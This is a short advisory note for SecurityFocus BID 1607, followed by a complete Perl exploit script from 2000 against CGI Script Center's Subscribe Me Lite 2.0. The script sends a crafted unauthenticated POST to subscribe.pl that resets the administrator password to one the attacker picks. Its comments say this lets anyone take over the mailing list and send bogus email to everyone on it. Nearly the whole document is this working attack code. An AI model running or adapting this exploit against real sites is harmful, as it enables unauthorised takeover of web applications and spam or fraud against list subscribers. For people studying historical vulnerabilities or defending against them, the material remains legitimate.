source: https://www.securityfocus.com/bid/1607/info

Regardless of privilege level, any remote user can modify the administrative password for CGI Script Centers' Subscribe Me Lite. This would grant the user full administrative privileges which includes addition or removal of users from mailing lists.

#!/usr/bin/perl -w

## Subscribe Me Lite 2.0 exploit / www.cgiscriptcenter.com
## This exploits changes the administrator password and
## let's anyone take over the mailing list. You can send
## bogus e-mail to everyone on the list.
##
## May work on earlier versions, but not sure - not sure
## if it will work on the Professional version either.
##
## teleh0r@doglover.com / anno 2000
## httpd://teleh0r.cjb.net

use strict;
use Socket;

if (@ARGV < 2) {
    print("Usage: $0 <target> <newpass>\n");
    exit(1);
}

my($target,$newpass,$crypt,$length,$command,
   $agent,$sploit,$iaddr,$paddr,$proto);

($target,$newpass) = @ARGV;

$crypt = crypt($newpass, 'aa');
$length = 34 + length($newpass);

print("\nRemote host: $target\n");
print("CGI-script: /cgi-bin/subscribe.pl\n");
print("New password: $newpass / $crypt\n\n");

$command = "pwd=$newpass&pwd2=$newpass&setpwd=++Set+Password++";
$agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows 95)";

$sploit=
"POST /cgi-bin/subscribe.pl HTTP/1.0
Connection: close
User-Agent: $agent
Host: $target
Content-type: application/x-www-form-urlencoded
Content-length: $length

$command";

$iaddr = inet_aton($target)                     || die("Error: $!\n");
$paddr = sockaddr_in(80, $iaddr)                || die("Error: $!\n");
$proto = getprotobyname('tcp')                  || die("Error: $!\n");

socket(SOCKET, PF_INET, SOCK_STREAM, $proto)    || die("Error: $!\n");
connect(SOCKET, $paddr)                         || die("Error: $!\n");
send(SOCKET,"$sploit\015\012", 0)               || die("Error: $!\n");
close(SOCKET);

sleep(2);
print("Check out: http://$target/cgi-bin/subscribe.pl\n");

exit(0);